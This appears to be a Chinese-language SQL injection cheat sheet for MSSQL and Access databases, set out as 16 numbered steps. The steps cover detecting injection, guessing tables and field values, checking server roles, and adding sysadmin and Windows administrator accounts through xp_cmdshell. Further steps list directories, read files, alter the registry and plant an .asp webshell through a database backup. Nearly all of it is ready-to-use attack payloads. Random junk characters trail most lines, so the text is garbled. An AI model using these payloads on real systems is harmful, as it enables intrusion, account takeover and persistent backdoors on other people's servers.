1.判断是否有注入;and 1=1 ;and 1=2 .TCDv4?
2.初步判断是否是mssql ;and user>0 5M/~|"xk
4xH/a1&p=
3.注入参数是字符'and [查询条件] and ''=' G\o9mEzQ
J;=T"C&
4.搜索时没过滤参数的'and [查询条件] and '%25'=' wh)F&@6 R!
0*_E'0L8e
5.判断数据库系统 ,OERDWW|6
{A'*3(8
;and (select count(*) from sysobjects)>0 mssql "8"aYD_
u-_1)'
;and (select count(*) from msysobjects)>0 access -
AU{Y`j
u HW'F(;
'/)qI.
e^'|<0J
6.猜数据库 ;and (select Count(*) from [数据库名])>0 i\O^s ]
)*`h)`\y
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 x[0O*ty-*<
RD46@Q`
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 {xH?b0>
~Hu!iZ2]
9.(1)猜字段的ascii值(access) ]T'7+5w
T2 S fBs
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 5 5m\,UG7
I]DD5l}\
(2)猜字段的ascii值(mssql) [(gXjt-
BNj_f
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 YRo,wsj
XT4Gz|k
10.测试权限结构(mssql) .T)wG;+
TkJ[N4'0
#f<v%
a HVzBcCPh
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- #y[U2s Se
YM};85 K
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- PfZS"yk
b\"w/'XX
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- D$7#&2y
78Du
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Mc<u?H
&
+*OV:[;
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- X^Z!!KTH
![sXR
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- wYg!H>5
:W5W
@8Y
;and 1=(select IS_MEMBER('db_owner'));-- B]@25
DY9]$h*y
j:xC\b47"
6pSi-FH
11.添加mssql和系统的帐户 N0.|Mb"?t
4l+!Z, b
;exec master.dbo.sp_addlogin username;-- R(`:~@3\6
;exec master.dbo.sp_password null,username,password;-- 15,JD
p[(I5p:L
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- A4'5cR9T!
wD=]U@t`,
;exec master.dbo.xp_cmdshell 'net user username password pF4Z4?W
u8]FJQ*\6+
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- h693TS_N
<^'{=A>
;exec master.dbo.xp_cmdshell 'net user username password /add';-- LP=j/qf|
dH!z<~
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- An$2='=/
xC,x_:R`
bh<;px-
Dlq!:dF{&
12.(1)遍历目录 KWZhCS?[(
#<S*MGp!=
;create table dirs(paths varchar(100), id int) qh:Bc$S
2lCFE)
;insert dirs exec master.dbo.xp_dirtree 'c:\' 3f] ;y<Km
QYboX~g~p
;and (select top 1 paths from dirs)>0 =29IHL3
MDU#V
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) >m>F {v
ca{MJz'
Q-n8~Ey1a
;~EQS.Qp
(2)遍历目录 d51'[?(
Aj)Q#Fd[
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 1|(Q|
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 O=A2QykV(
d=PX}o^
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 }=5>h' <
RqtBz3v
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ]7O<|8n!d
?7lW@U0
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 q$b4S4Z7
\
qq
x)N QRd
VR1[-OE
13.mssql中的存储过程 t,r:='
z Fj |E
xp_regenumvalues 注册表根键, 子键 8D@J d
\et2aX !
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0WKS
4^YE*6z
xp_regread 根键,子键,键值名 cX4]ViXSr
K1R?Qt,qDF
;exec xp_regread 9c*B%A8J
")txFe
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 9LBZMQ
Dm}M8`|X
xp_regwrite 根键,子键, 值名, 值类型, 值 zkqn>
4W49*Je
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 z%T|L[(6
L AA(2
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 XpkOC o 02
|'P$zMAF
xp_regdeletevalue 根键,子键,值名 1tI=Dwx
.9r85
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 %{3q=9ii
5a@9PX^.J
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ~Ma r
.m\0<8C
Wb cm1I)
<Uj9~yVN]
14.mssql的backup创建webshell {J/Fp#
a]%sks
use model 9iM%kY#)W
S3WUccv
create table cmd(str image); 2P^qZDG 8I
Wi!"Vcn
insert into cmd(str) values (''); TXyiCS3
Px*<-t|R-
backup database model to disk='c:\l.asp'; djw\%00
goF87^M
[eOv fD
v4'kV:;&
15.mssql内置函数 dkDPze9l
wsH _pF
;and (select @@version)>0 获得Windows的版本号 ~LOE^6C+~o
IFS_DW
;and user_name()='dbo' 判断当前系统的连接用户是不是sa R?9x!@BV
hOj+z?
;and (select user_name())>0 爆当前系统的连接用户 f^"pZS
nu~]9~)I
;and (select db_name())>0 得到当前连接的数据库 $)8,dS
Su?cC/
I_->vC|>
Z0-?;jA@
16.简洁的webshell SA=>9L,2
8 Zp^/43
use model Kdp($L9r
_'L16@q
create table cmd(str image); 0%}*Zo(e+
J>nBTY,_<
insert into cmd(str) values (''); `JPkho
Vq{3:QBR
backup database model to disk='g:\wwwtest\l.asp';